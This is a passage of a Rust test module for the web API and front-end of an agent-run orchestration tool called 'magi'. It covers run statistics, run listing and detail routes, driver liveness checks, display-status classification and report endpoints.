13062 .unwrap()
13063 .iter()
13064 .find(|a| a["agent"] == "keep")
13065 .unwrap();
13066 assert_eq!(keep_agent["competitive_entered"], 1);
13067 assert_eq!(keep_agent["competitive_wins"], 0);
13068 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13069 assert_eq!(keep_agent["solo_entered"], 0);
13070 assert_eq!(keep_agent["solo_adopted"], 0);
13071 assert!(keep_agent["solo_adoption_rate"].is_null());
13072 }
13073
13074 #[tokio::test]
13075 async fn stats_release_bumps_split_clean_from_attention() {
13076 use crate::run::ReleaseBump;
13077
13078 let f = Fixture::start().await;
13079
13080 let mut clean = RunState::new(
13081 PathBuf::from("/repo/magi"),
13082 "main".to_owned(),
13083 "0123456789abcdef".to_owned(),
13084 "task".to_owned(),
13085 Config::default(),
13086 );
13087 clean.id = "20260902-140501-a".to_owned();
13088 clean.status = RunStatus::Merged;
13089 clean.release_bump = Some(ReleaseBump {
13090 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13091 version: Some("1.0.0".to_owned()),
13092 automerge_enabled: true,
13093 merged_directly: false,
13094 local: false,
13095 release: None,
13096 problem: None,
13097 action_required: None,
13098 });
13099
13100 let mut blocked = RunState::new(
13101 PathBuf::from("/repo/magi"),
13102 "main".to_owned(),
13103 "0123456789abcdef".to_owned(),
13104 "task".to_owned(),
13105 Config::default(),
13106 );
13107 blocked.id = "20260902-140502-b".to_owned();
13108 blocked.status = RunStatus::Merged;
13109 blocked.release_bump = Some(ReleaseBump {
13110 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13111 version: Some("1.0.1".to_owned()),
13112 automerge_enabled: false,
13113 merged_directly: false,
13114 local: false,
13115 release: None,
13116 problem: Some("checks red".to_owned()),
13117 action_required: Some("look at the PR".to_owned()),
13118 });
13119
13120 for state in [&clean, &blocked] {
13121 let dir = f.runs().join(&state.id);
13122 std::fs::create_dir_all(&dir).expect("run dir");
13123 std::fs::write(
13124 dir.join("run.json"),
13125 serde_json::to_string_pretty(state).expect("serialize run"),
13126 )
13127 .expect("write run.json");
13128 }
13129
13130 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13131 assert_eq!(bumps["merged"], 2);
13132 assert_eq!(bumps["recorded"], 2);
13133 assert_eq!(bumps["pr_opened"], 2);
13134 assert_eq!(bumps["automerge_enabled"], 1);
13135 assert_eq!(bumps["needs_attention"], 1);
13136 assert_eq!(bumps["clean"], 1);
13137 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13138 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13139 }
13140
13141 #[tokio::test]
13142 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13143 let f = Fixture::start().await;
13144 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13145
13146 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13147 assert_eq!(bumps["merged"], 1);
13148 assert_eq!(bumps["recorded"], 0);
13149 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13152 assert_eq!(bumps["automerge_rate"], Value::Null);
13155 assert_eq!(bumps["attention_rate"], Value::Null);
13156 }
13157
13158 #[tokio::test]
13159 async fn stats_queue_counts_come_from_the_live_queue() {
13160 let f = Fixture::start().await;
13161 let q = f.queue();
13162 let mut queued = Task::new(
13163 "queued task".to_owned(),
13164 "do it".to_owned(),
13165 PathBuf::from("/repo"),
13166 Source::Human,
13167 );
13168 q.put(&mut queued).expect("put queued");
13169 let mut held = Task::new(
13170 "held task".to_owned(),
13171 "do it later".to_owned(),
13172 PathBuf::from("/repo"),
13173 Source::Human,
13174 );
13175 held.hold_machine(Some("out of attempts".to_owned()));
13176 q.put(&mut held).expect("put held");
13177
13178 let queue = f.get("/api/stats").await.json()["queue"].clone();
13179 assert_eq!(queue["queued"], 1);
13180 assert_eq!(queue["held"], 1);
13181 assert_eq!(queue["running"], 0);
13182 assert_eq!(queue["done"], 0);
13183 assert_eq!(queue["failed"], 0);
13184 assert_eq!(queue["blocked"], 0);
13185 }
13186
13187 #[tokio::test]
13188 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13189 let f = Fixture::start().await;
13190 let stats = f.get("/api/stats").await;
13191 assert_eq!(stats.status, 200);
13192 assert_eq!(stats.json()["totals"]["runs"], 0);
13193 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13194 assert_eq!(stats.json()["runs_unreadable"], 0);
13195 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13196 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13197 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13198 assert_eq!(stats.json()["repo"], Value::Null);
13199 }
13200
13201 #[tokio::test]
13202 async fn stats_lists_every_repository_with_runs_recorded() {
13203 let f = Fixture::start().await;
13204 write_run_repo(
13205 &f.runs(),
13206 "20260902-140501-a",
13207 RunStatus::Merged,
13208 "/repos/a",
13209 );
13210 write_run_repo(
13211 &f.runs(),
13212 "20260902-140502-b",
13213 RunStatus::Merged,
13214 "/repos/a",
13215 );
13216 write_run_repo(
13217 &f.runs(),
13218 "20260902-140503-c",
13219 RunStatus::Blocked,
13220 "/repos/b",
13221 );
13222
13223 let stats = f.get("/api/stats").await;
13224 assert_eq!(stats.status, 200);
13225 assert_eq!(stats.json()["totals"]["runs"], 3);
13227 assert_eq!(stats.json()["repo"], Value::Null);
13228
13229 let repos = stats.json()["repos"].clone();
13230 let repos = repos.as_array().unwrap();
13231 assert_eq!(repos.len(), 2);
13232 assert_eq!(repos[0]["repo"], "/repos/a");
13234 assert_eq!(repos[0]["name"], "a");
13235 assert_eq!(repos[0]["runs"], 2);
13236 assert_eq!(repos[1]["repo"], "/repos/b");
13237 assert_eq!(repos[1]["runs"], 1);
13238 }
13239
13240 #[tokio::test]
13241 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13242 let f = Fixture::start().await;
13243 write_run_repo(
13244 &f.runs(),
13245 "20260902-140501-a",
13246 RunStatus::Merged,
13247 "/repos/a",
13248 );
13249 write_run_repo(
13250 &f.runs(),
13251 "20260902-140502-b",
13252 RunStatus::Blocked,
13253 "/repos/b",
13254 );
13255
13256 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13257 assert_eq!(stats.status, 200);
13258 assert_eq!(stats.json()["totals"]["runs"], 1);
13259 assert_eq!(stats.json()["totals"]["merged"], 1);
13260 assert_eq!(stats.json()["repo"], "/repos/a");
13261 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13264 assert_eq!(stats.json()["runs_unreadable"], 0);
13267 }
13268
13269 #[tokio::test]
13270 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13271 let f = Fixture::start().await;
13272 write_run_repo(
13273 &f.runs(),
13274 "20260902-140501-a",
13275 RunStatus::Merged,
13276 "/repos/a",
13277 );
13278 write_run_repo(
13279 &f.runs(),
13280 "20260902-140502-b",
13281 RunStatus::Merged,
13282 "/repos/b",
13283 );
13284
13285 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13286 let json = f.get(uri).await.json();
13287 let daily = json["daily"].as_array().expect("daily is an array");
13288 assert_eq!(daily.len(), 30);
13289 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13290 let mut sorted = dates.clone();
13291 sorted.sort();
13292 assert_eq!(dates, sorted);
13293 for d in daily {
13294 assert_eq!(
13295 d["merged"].as_u64().unwrap()
13296 + d["ready"].as_u64().unwrap()
13297 + d["other"].as_u64().unwrap(),
13298 d["runs"].as_u64().unwrap()
13299 );
13300 }
13301 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13302 }
13303 }
13304
13305 #[tokio::test]
13306 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13307 let f = Fixture::start().await;
13308 write_run_repo(
13309 &f.runs(),
13310 "20260902-140501-a",
13311 RunStatus::Merged,
13312 "/repos/a",
13313 );
13314
13315 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13316 assert_eq!(stats.status, 404);
13317 }
13318
13319 #[tokio::test]
13320 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13321 let f = Fixture::start().await;
13322 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13323
13324 let summary = f.get("/api/runs").await.json();
13325 let row = &summary[0];
13326 assert_eq!(row["short"], "a1b2");
13327 assert_eq!(row["status"], "ready");
13328 assert_eq!(row["done"], true);
13329 assert_eq!(row["title"], "Add a web UI");
13330 assert_eq!(row["repo_name"], "magi");
13331 assert_eq!(row["judges"], 3);
13332 assert_eq!(row["winner"], Value::Null);
13333 assert_eq!(row["reviews"], 0);
13334
13335 let detail = f.get("/api/runs/a1b2").await;
13338 assert_eq!(detail.status, 200);
13339 assert_eq!(detail.json()["base_branch"], "main");
13340 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13341 }
13342
13343 #[tokio::test]
13351 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13352 let f = Fixture::start().await;
13353
13354 let mut none_run = RunState::new(
13355 PathBuf::from("/repo/magi"),
13356 "main".to_owned(),
13357 "0123456789abcdef".to_owned(),
13358 "Add a web UI".to_owned(),
13359 Config::default(),
13360 );
13361 none_run.id = "20260902-140503-none".to_owned();
13362 none_run.status = RunStatus::Ready;
13363 none_run.merge = Some(crate::run::MergeOutcome {
13364 mode: crate::config::MergeMode::None,
13365 ok: true,
13366 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13367 empty: false,
13368 });
13369 write_state(&f.runs(), &none_run);
13370
13371 let mut pr_run = RunState::new(
13372 PathBuf::from("/repo/magi"),
13373 "main".to_owned(),
13374 "0123456789abcdef".to_owned(),
13375 "Add a web UI".to_owned(),
13376 Config::default(),
13377 );
13378 pr_run.id = "20260902-140504-prcl".to_owned();
13379 pr_run.status = RunStatus::Ready;
13380 pr_run.merge = Some(crate::run::MergeOutcome {
13381 mode: crate::config::MergeMode::Pr,
13382 ok: false,
13383 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13384 empty: false,
13385 });
13386 write_state(&f.runs(), &pr_run);
13387
13388 let summary = f.get("/api/runs").await.json();
13389 let rows: std::collections::HashMap<&str, &Value> = summary
13390 .as_array()
13391 .expect("an array")
13392 .iter()
13393 .map(|r| (r["id"].as_str().expect("an id"), r))
13394 .collect();
13395 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13396 assert_eq!(
13397 rows[none_run.id.as_str()]["unmerged_by_design"],
13398 true,
13399 "a mode-none Ready must be flagged in the list"
13400 );
13401 assert_eq!(
13402 rows[pr_run.id.as_str()]["unmerged_by_design"],
13403 false,
13404 "a Ready reached by a closed pull request is a different case"
13405 );
13406
13407 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13408 assert_eq!(none_detail["status"], "ready");
13409 assert_eq!(none_detail["unmerged_by_design"], true);
13410
13411 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13412 assert_eq!(pr_detail["unmerged_by_design"], false);
13413 }
13414
13415 #[tokio::test]
13420 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13421 let f = Fixture::start().await;
13422 let id = "20260902-140502-bbbb";
13426 let mut state = RunState::new(
13427 PathBuf::from("/repo/magi"),
13428 "main".to_owned(),
13429 "0123456789abcdef".to_owned(),
13430 "Add a web UI".to_owned(),
13431 Config::default(),
13432 );
13433 state.id = id.to_owned();
13434 state.status = RunStatus::Judging;
13435 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13436 let dir = f.runs().join(id);
13437 std::fs::create_dir_all(&dir).expect("run dir");
13438 std::fs::write(
13439 dir.join("run.json"),
13440 serde_json::to_string_pretty(&state).expect("serialize run"),
13441 )
13442 .expect("write run.json");
13443
13444 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13450 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13451 assert_eq!(cold["live"], "unknown", "{cold}");
13452
13453 write_daemon(f.home.path(), Timestamp::now());
13456 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13457 assert_eq!(warm["live"], "live", "{warm}");
13458 }
13459
13460 #[tokio::test]
13463 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13464 let f = Fixture::start().await;
13465 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13466 let mut state = RunState::new(
13467 PathBuf::from("/repo/magi"),
13468 "main".to_owned(),
13469 "0123456789abcdef".to_owned(),
13470 "Add a web UI".to_owned(),
13471 Config::default(),
13472 );
13473 state.id = id.to_owned();
13474 state.origin = origin;
13475 let mut value = serde_json::to_value(&state).expect("serialize run");
13476 if let Some(schema) = schema {
13477 value["schema"] = serde_json::json!(schema);
13478 value.as_object_mut().unwrap().remove("origin");
13479 }
13480 let dir = f.runs().join(id);
13481 std::fs::create_dir_all(&dir).expect("run dir");
13482 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13483 };
13484 write(
13485 "20260930-092817-ec34",
13486 Some(crate::run::Origin::from_agent_env(
13487 Some(("4a7b".to_owned(), "chat".to_owned())),
13488 None,
13489 )),
13490 None,
13491 );
13492 write("20260930-092817-0ld1", None, Some(12));
13493
13494 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13495 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13496 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13497
13498 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13499 assert_eq!(
13500 old["origin_label"], "origin unknown (started before origins were recorded)",
13501 "{old}"
13502 );
13503 assert!(old["origin"].is_null(), "{old}");
13504
13505 let list = f.get("/api/runs").await.json();
13506 let labels: Vec<_> = list
13507 .as_array()
13508 .unwrap()
13509 .iter()
13510 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
13511 .collect();
13512 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
13513 }
13514
13515 #[tokio::test]
13522 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
13523 let f = Fixture::start().await;
13524 let id = "20260922-090000-cccc";
13525 let mut state = RunState::new(
13526 PathBuf::from("/repo/magi"),
13527 "main".to_owned(),
13528 "0123456789abcdef".to_owned(),
13529 "Review only".to_owned(),
13530 Config::default(),
13531 );
13532 state.id = id.to_owned();
13533 state.status = RunStatus::Reviewing;
13534 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13535 state.driver_pid = Some(std::process::id());
13541 state.driver_started_at = Some(
13542 crate::proc::process_started_at(std::process::id())
13543 .expect("this test process's own start time must be queryable"),
13544 );
13545 let dir = f.runs().join(id);
13546 std::fs::create_dir_all(&dir).expect("run dir");
13547 std::fs::write(
13548 dir.join("run.json"),
13549 serde_json::to_string_pretty(&state).expect("serialize run"),
13550 )
13551 .expect("write run.json");
13552
13553 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13554 assert_eq!(detail["live"], "live", "{detail}");
13555 }
13556
13557 #[tokio::test]
13563 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
13564 let f = Fixture::start().await;
13565 let id = "20260922-090100-dddd";
13566 let mut state = RunState::new(
13567 PathBuf::from("/repo/magi"),
13568 "main".to_owned(),
13569 "0123456789abcdef".to_owned(),
13570 "Review only".to_owned(),
13571 Config::default(),
13572 );
13573 state.id = id.to_owned();
13574 state.status = RunStatus::Reviewing;
13575 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13576 state.driver_pid = Some(std::process::id());
13581 state.driver_started_at = Some("1".to_owned());
13582 let dir = f.runs().join(id);
13583 std::fs::create_dir_all(&dir).expect("run dir");
13584 std::fs::write(
13585 dir.join("run.json"),
13586 serde_json::to_string_pretty(&state).expect("serialize run"),
13587 )
13588 .expect("write run.json");
13589
13590 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13591 assert_eq!(detail["live"], "dead", "{detail}");
13592 }
13593
13594 #[test]
13598 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
13599 let mk = |id: &str, pid: Option<u32>| {
13600 let mut s = RunState::new(
13601 PathBuf::from("/repo/magi"),
13602 "main".to_owned(),
13603 "0123456789abcdef".to_owned(),
13604 "Add a web UI".to_owned(),
13605 Config::default(),
13606 );
13607 s.id = id.to_owned();
13608 s.driver_pid = pid;
13609 s.driver_started_at = Some("1790000000".to_owned());
13610 s
13611 };
13612 let states = vec![
13613 mk("20260902-140502-aaaa", Some(77)),
13614 mk("20260902-140502-bbbb", Some(77)),
13615 mk("20260902-140502-cccc", Some(77)),
13616 mk("20260902-140502-dddd", None),
13617 ];
13618 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
13619 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
13620 let sup: HashMap<String, String> = [(
13621 "20260902-140502-aaaa".to_owned(),
13622 "20260902-140502-cccc".to_owned(),
13623 )]
13624 .into();
13625
13626 let status_calls = std::cell::Cell::new(0);
13627 let identity_calls = std::cell::Cell::new(0);
13628 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
13629 |_| {
13630 status_calls.set(status_calls.get() + 1);
13631 Some(true)
13632 },
13633 |_| {
13634 identity_calls.set(identity_calls.get() + 1);
13635 Some("1790000000".to_owned())
13636 },
13637 ));
13638 let rows = summarize(
13639 states,
13640 &open,
13641 &claimed,
13642 &sup,
13643 |p| probe.borrow_mut().status(p),
13644 |p| probe.borrow_mut().started_at(p),
13645 );
13646
13647 assert_eq!(status_calls.get(), 1, "one pid, one status query");
13648 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
13649 assert_eq!(rows.len(), 4);
13650 assert!(!rows[0].waiting && rows[1].waiting);
13651 assert_eq!(rows[0].live, crate::run::Liveness::Live);
13652 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
13653 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
13654 assert_eq!(rows[1].superseded_by, None);
13655 }
13656
13657 #[test]
13658 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
13659 let mut state = RunState::new(
13660 PathBuf::from("/repo/magi"),
13661 "main".to_owned(),
13662 "0123456789abcdef".to_owned(),
13663 "Review only".to_owned(),
13664 Config::default(),
13665 );
13666 state.id = "20260922-090200-dead".to_owned();
13667 state.status = RunStatus::Reviewing;
13668 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
13669 .expect("serialize list row");
13670 assert_eq!(row["status"], "reviewing");
13671 assert_eq!(row["display_status"], "stale");
13672 assert_eq!(row["live"], "dead", "{row}");
13673 assert!(!row["done"].as_bool().unwrap());
13674 }
13675
13676 #[test]
13677 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
13678 use crate::run::Liveness::{Dead, Live, Unknown};
13679 let mut state = RunState::new(
13680 PathBuf::from("/repo/magi"),
13681 "main".to_owned(),
13682 "abc".to_owned(),
13683 "Review only".to_owned(),
13684 Config::default(),
13685 );
13686 for (status, parked, node, waiting, live, expected) in [
13687 (
13688 RunStatus::Judging,
13689 true,
13690 "github-text",
13691 false,
13692 Dead,
13693 "parked",
13694 ),
13695 (RunStatus::Judging, false, "park", false, Dead, "stale"),
13696 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
13697 (
13698 RunStatus::Judging,
13699 true,
13700 "github-text",
13701 true,
13702 Dead,
13703 "waiting",
13704 ),
13705 (
13706 RunStatus::Judging,
13707 false,
13708 "github-text",
13709 true,
13710 Dead,
13711 "waiting",
13712 ),
13713 (
13714 RunStatus::Judging,
13715 false,
13716 "github-text",
13717 false,
13718 Dead,
13719 "stale",
13720 ),
13721 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
13722 (RunStatus::Judging, true, "park", false, Live, "judging"),
13723 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
13724 (RunStatus::Merged, true, "park", false, Dead, "merged"),
13725 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
13726 (
13727 RunStatus::Blocked,
13728 true,
13729 "github-text",
13730 true,
13731 Dead,
13732 "waiting",
13733 ),
13734 ] {
13735 state.status = status;
13736 state.parked = parked;
13737 state.events.clear();
13738 state.event(
13739 "park",
13740 "an earlier park does not determine the latest state",
13741 );
13742 state.event(node, "message is not used for classification");
13743 let summary = RunSummary::of(&state, waiting, live);
13744 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
13745 assert_eq!(
13746 summary.display_status, expected,
13747 "{status:?}/{node}/{live:?}"
13748 );
13749 assert_eq!(detail.display_status, summary.display_status);
13750 assert_eq!(detail.waiting, summary.waiting);
13751 }
13752 state.status = RunStatus::Judging;
13753 state.parked = false;
13754 state.events.clear();
13755 assert_eq!(run_display_status(&state, false, Dead), "stale");
13756 }
13757
13758 #[tokio::test]
13759 async fn run_display_status_routes_share_the_open_question_store() {
13760 let f = Fixture::start().await;
13761 let id = "20260922-090200-abcd";
13762 write_run(&f.runs(), id, RunStatus::Judging);
13763 let mut state = read_run(&f.runs(), id).unwrap();
13764 state.parked = true;
13765 state.driver_exited = true;
13766 state.event("github-text", "waiting for the owner");
13767 state.save_under(f.home.path()).unwrap();
13768 let store = f.questions();
13769 let mut q = Question::new(
13770 id.to_owned(),
13771 "github-text".to_owned(),
13772 "owner".to_owned(),
13773 "Approve the text?".to_owned(),
13774 String::new(),
13775 Vec::new(),
13776 );
13777 store.put(&mut q).unwrap();
13778 for expected in ["waiting", "parked"] {
13779 let list = f.get("/api/runs").await.json();
13780 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13781 assert_eq!(list[0]["display_status"], expected);
13782 assert_eq!(detail["display_status"], expected);
13783 assert_eq!(detail["waiting"], list[0]["waiting"]);
13784 q.status = ask::QuestionStatus::Answered;
13785 store.put(&mut q).unwrap();
13786 }
13787 }
13788
13789 #[tokio::test]
13790 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
13791 let f = Fixture::start().await;
13792 let id = "20260922-090200-abcd";
13793 write_run(&f.runs(), id, RunStatus::Judging);
13794 let mut state = read_run(&f.runs(), id).unwrap();
13795 state.parked = true;
13796 state.driver_exited = true;
13797 state.event("park", "stopped at a node boundary");
13798 state.save_under(f.home.path()).unwrap();
13799
13800 for expected in ["parked", "stale"] {
13801 let list = f.get("/api/runs").await.json();
13802 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13803 assert_eq!(list[0]["live"], "dead");
13804 assert_eq!(list[0]["display_status"], expected);
13805 assert_eq!(detail["display_status"], expected);
13806 state.parked = false;
13809 state.save_under(f.home.path()).unwrap();
13810 }
13811 }
13812
13813 #[tokio::test]
13814 async fn the_run_list_is_newest_first_and_honours_a_limit() {
13815 let f = Fixture::start().await;
13816 for id in [
13817 "20260902-140501-aaaa",
13818 "20260902-140502-bbbb",
13819 "20260902-140503-cccc",
13820 ] {
13821 write_run(&f.runs(), id, RunStatus::Merged);
13822 }
13823
13824 let all = f.get("/api/runs").await.json();
13825 let capped = f.get("/api/runs?limit=2").await.json();
13826
13827 assert_eq!(all[0]["id"], "20260902-140503-cccc");
13828 assert_eq!(all.as_array().map(Vec::len), Some(3));
13829 assert_eq!(capped.as_array().map(Vec::len), Some(2));
13830 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
13831 }
13832
13833 #[tokio::test]
13834 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
13835 let f = Fixture::start().await;
13836 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
13837
13838 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
13839
13840 assert_eq!(res.status, 200);
13841 assert!(
13842 res.headers
13843 .contains("content-type: text/plain; charset=utf-8"),
13844 "a browser must render it, not download it: {}",
13845 res.headers
13846 );
13847 assert!(
13851 res.body.contains("20260902-140501-a1b2"),
13852 "the report is about the run that was asked for: {}",
13853 res.body
13854 );
13855 }
13856
13857 #[tokio::test]
13858 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13859 crate::run::pin_test_home();
13861 let f = Fixture::start().await;
13862 let id = "20260902-140501-a1b2";
13863 write_run(&f.runs(), id, RunStatus::Stalled);
13864 let path = f.runs().join(id).join("run.json");
13867 let mut v: serde_json::Value =
13868 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13869 v["tally"] = serde_json::json!({
13870 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13871 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13872 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13873 "met_quorum": false, "rankings": 1
13874 });
13875 v["reviews"] = serde_json::json!([{
13876 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13877 "e2e_deferred": true,
13878 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13879 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13880 ]}]
13881 }]);
13882 std::fs::write(&path, v.to_string()).unwrap();
13883 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13884 std::fs::write(
13885 f.runs().join("20260902-140502-dead").join("run.json"),
13886 "{not json",
13887 )
13888 .unwrap();
13889
13890 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13891
13892 assert_eq!(res.status, 200, "{}", res.body);
13893 assert!(res.headers.contains("content-type: application/json"));
13894 let j = res.json();
13895 assert_eq!(j["schema"], 1);
13896 assert_eq!(j["header"]["id"], id);
13897 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13898 let kinds: Vec<&str> = j["sections"]
13899 .as_array()
13900 .unwrap()
13901 .iter()
13902 .map(|s| s["kind"].as_str().unwrap())
13903 .collect();
13904 assert_eq!(kinds, ["candidates", "tally", "review"]);
13905 let tally = &j["sections"][1]["tally"];
13906 assert_eq!(
13907 (tally["decided"].clone(), tally["provisional"].clone()),
13908 (false.into(), true.into())
13909 );
13910 let round = &j["sections"][2]["rounds"][0];
13911 assert_eq!(round["e2e"]["state"], "deferred");
13912 assert_eq!(round["findings"][0]["severity"], "major");
13913 assert_eq!(round["findings"][0]["blocking"], true);
13914 assert_eq!(round["findings"][0]["state"], "open");
13915
13916 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13918
13919 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13921 assert_ne!(bad.status, 200, "{}", bad.body);
13922 assert_eq!(
13923 bad.status,
13924 f.get("/api/runs/20260902-140502-dead/report").await.status
13925 );
13926 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13927 assert_eq!(
13928 f.get("/api/runs/20260902-999999-ffff/report.json")
13929 .await
13930 .status,
13931 404
13932 );
13933 }
13934
13935 #[tokio::test]
13936 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13937 let f = Fixture::start().await;
13938
13939 let html = f.get("/").await;
13940 let css = f.get("/app.css").await;
13941 let js = f.get("/app.js").await;
13942
13943 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13944 assert!(
13945 html.headers
13946 .contains("content-type: text/html; charset=utf-8")
13947 );
13948 assert!(css.headers.contains("content-type: text/css"));
13949 assert!(js.headers.contains("content-type: text/javascript"));
13950 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13951 }
13952
13953 #[test]
13954 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13955 let body = |name: &str| {
13956 let at = APP_JS
13957 .find(name)
13958 .unwrap_or_else(|| panic!("{name} missing"));
13959 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13960 };
13961 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13962 let note = body("function landRoundNote");
13963 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13964 assert!(note.contains("Land round ${round}"));
13965 let land = body("function renderLand");
13966 let note_at = land
13967 .find("landRoundNote(pr)")
13968 .expect("renderLand uses the note");
13969 assert!(
13970 note_at
13971 < land
13972 .find("roundRail(pr)")
13973 .expect("renderLand uses the rail")
13974 );
13975 }
13976
13977 #[test]
13978 fn the_runs_page_redesign_keeps_its_guards() {
13979 let body = |name: &str| {
13980 let at = APP_JS
13981 .find(name)
13982 .unwrap_or_else(|| panic!("{name} missing"));
13983 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13984 };
13985 let land = body("function renderLand");
13987 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13988 assert!(
13989 !land.contains("box.append("),
13990 "renderLand must use append()"
13991 );
13992 assert!(land.contains("append(box, ["));
13993 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13995 assert!(
13996 body("function applyRoute")
13997 .contains("route.name !== state.route.name || route.id !== state.route.id")
13998 );
13999 assert!(!APP_JS.contains("adviseConvergeDiagram"));
14001 assert!(!INDEX_HTML.contains("advise-converge"));
14002 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14003 assert!(APP_JS.contains("provisional"));
14004 for id in [
14005 "run-tab-overview",
14006 "run-tab-timeline",
14007 "run-tab-report",
14008 "run-report",
14009 "runs-scope",
14010 ] {
14011 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14012 }
14013 assert!(!INDEX_HTML.contains("runs-tree"));
14014 assert!(!INDEX_HTML.contains("run-raw-panel"));
14015 assert!(APP_JS.contains("resume"));
14017 assert!(APP_JS.contains("unreadable"));
14019 }
14020
14021 #[test]
14022 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14023 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14024 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
